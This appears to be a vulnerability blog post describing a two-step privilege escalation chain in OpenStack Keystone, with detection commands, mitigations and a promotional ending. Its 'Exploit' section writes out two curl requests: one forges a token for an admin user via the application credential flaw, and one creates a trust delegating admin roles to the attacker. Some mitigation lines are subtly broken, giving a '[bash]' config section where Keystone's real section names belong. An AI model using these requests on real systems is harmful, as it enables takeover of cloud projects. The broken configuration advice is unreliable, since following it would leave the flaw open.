Listen to this Post
CVE-2026-43000: Chained Impersonation and Trust Escalation
The discovered vulnerability, CVE-2026-43000, is a sophisticated privilege escalation chain residing in OpenStack Keystone before version 29.0.2. The flaw allows a malicious actor with the basic “member” role on a project to elevate their privileges to a “domain” or “project” administrator. The exploit leverages two key features: application credentials and Keystone trusts.
The attack vector is activated by first exploiting a separate, underlying authorization bypass vulnerability, CVE-2026-42998. This initial flaw resides in the application credential authentication plugin. It fails to properly validate that a user making an authentication request is the legitimate owner of the application credential being used. An attacker can send a request containing their own valid application credential ID and secret, while maliciously altering the request body to specify a different user’s identity (the victim). Due to the lack of ownership validation, Keystone processes the request and issues a valid token, but incorrectly attributes this new token to the victim user.
Once the attacker possesses a token impersonating the victim, the second stage of the chain begins. The attacker uses this impersonated token to create a Keystone trust. A trust is a delegated authorization mechanism that allows one user (the trustee) to act on behalf of another user (the trustor) within a specific project scope. The critical flaw exploited here is in Keystone’s trust creation validation logic. When Keystone validates the roles to be delegated for a new trust, it does not check the roles present on the impersonated token. Instead, it queries the database for the victim’s actual role assignments. Therefore, if the victim has administrative privileges on the project, the validation mechanism will find those roles.
Consequently, the system allows the trust creation, delegating the victim’s full administrative roles to the attacker’s user. This trust relationship is persistent, independent of the original impersonated token’s lifecycle. The attacker can now act as a project admin, and can further create additional trusts or application credentials to maintain prolonged, stealthy access. All actions performed by the attacker are logged under the victim’s identity, providing a high degree of audit trail evasion. This technical chaining of a missing ownership check with a trust validation logic flaw effectively dismantles standard role-based access controls.
DailyCVE Form:
Platform: OpenStack Keystone
Version: < 29.0.2
Vulnerability : Admin Escalation
Severity: Medium
date: 2026-05-28
Prediction: 2026-06-11
What Undercode Say:
The vulnerability chain exposes a profound failure in identity and authorization logic. The exploitation path is reliable but carries a Medium severity due to the prerequisite of possessing a “member” role and high attack complexity. The root cause is an improper authorization check (CWE-285) in the credential plugin, leading to a subsequent logic flaw during trust validation.
Detection Analytics: Identify potential impersonation attempts by correlating authentication logs for anomalous patterns.
Query Keystone logs for application credential authentications
sudo grep "Authenticating with application credential" /var/log/keystone/keystone.log
Check for suspicious authentication patterns (e.g., rapid role changes)
sudo cat /var/log/keystone/keystone.log | jq 'select(.event_type == "authenticate") | {user: .user_id, cred_id: .application_credential_id, timestamp: .timestamp}'
Trust Audit: List and audit all existing Keystone trusts.
List all trusts (requires admin privileges) openstack trust list --all-projects Show details of a specific trust (e.g., TRUST_ID) openstack trust show <TRUST_ID>
System Command Analysis: Monitor for suspicious trust creation events by a non-admin user.
Search audit log for trust creation events sudo grep -E '"event_type": "identity.trust.created"' /var/log/keystone/keystone.log
Exploit:
A successful exploitation scenario for an attacker named “attacker_user” on a project with a “admin_user” would look like the following API calls:
1. Impersonate admin_user via CVE-2026-42998:
Attacker uses their own application credential ID and secret, but requests a token for the admin user.
curl -X POST https://keystone.example.com:5000/v3/auth/tokens \
-H "Content-Type: application/json" \
-d '{
"auth": {
"identity": {
"methods": ["application_credential"],
"application_credential": {
"id": "<ATTACKER_APP_CRED_ID>",
"secret": "<ATTACKER_APP_CRED_SECRET>"
}
},
"scope": {
"project": {
"domain": { "name": "Default" },
"name": "shared_project"
}
},
"user": { "name": "admin_user", "domain": { "name": "Default" } }
}
}'
Response: A valid X-Subject-Token attributed to admin_user.
2. Use the Impersonated Token to Create a Trust (Escalate Privileges):
Using the token from the previous step, create a trust that delegates admin_user's admin role.
curl -X POST https://keystone.example.com:5000/v3/OS-TRUST/trusts \
-H "X-Auth-Token: $IMPERSONATED_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"trust": {
"trustor_user_id": "admin_user_id",
"trustee_user_id": "attacker_user_id",
"project_id": "shared_project_id",
"impersonation": true,
"roles": [ { "name": "admin" } ]
}
}'
Response: A new trust is created, delegating admin rights from admin_user to attacker_user.
Protection:
- Immediate Patching: The only complete mitigation is to upgrade Keystone to version 29.0.2 or later, where the ownership validation and trust creation logic are properly fixed.
- Mitigation Controls: If an immediate upgrade is not possible, the following actions can reduce risk:
Disable Application Credentials: Set `[bash] enabled = false` in `keystone.conf` on all nodes. This removes the initial attack vector but will disrupt normal operations.
Disable Trusts: Set `[bash] enabled = false` inkeystone.conf. This prevents the privilege escalation path but will break any workloads relying on trusts. - Network Controls: Implement strict network segmentation to limit API access to Keystone endpoints only from trusted management networks.
- Monitoring: Deploy the detection commands outlined in the “What Undercode Say” section to identify potential in-progress exploitation attempts.
Impact:
Privilege Escalation: A low-privileged user (member) can reliably escalate to a high-privileged administrative role within a project.
Complete Environment Compromise: With administrative access, an attacker can create, modify, or delete any resource within the affected project, including servers, networks, and storage. They can also manage other users and their roles within that project.
Persistent Stealth Access: The trust mechanism provides a long-lasting backdoor that does not rely on the initial impersonated token. Attackers can maintain access for extended periods without needing to re-exploit the vulnerability.
Operational Anonymity: All malicious actions are logged under the victim user’s identity, severely complicating incident response and forensic analysis. Monitoring systems would register the actions as legitimate operations performed by an admin user.
Supply Chain Risk: For organizations offering OpenStack-based cloud services, this vulnerability can be exploited by a customer (member) to gain admin control over their own project, and potentially pivot to other services, leading to a direct breach of the multi-tenant isolation model.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
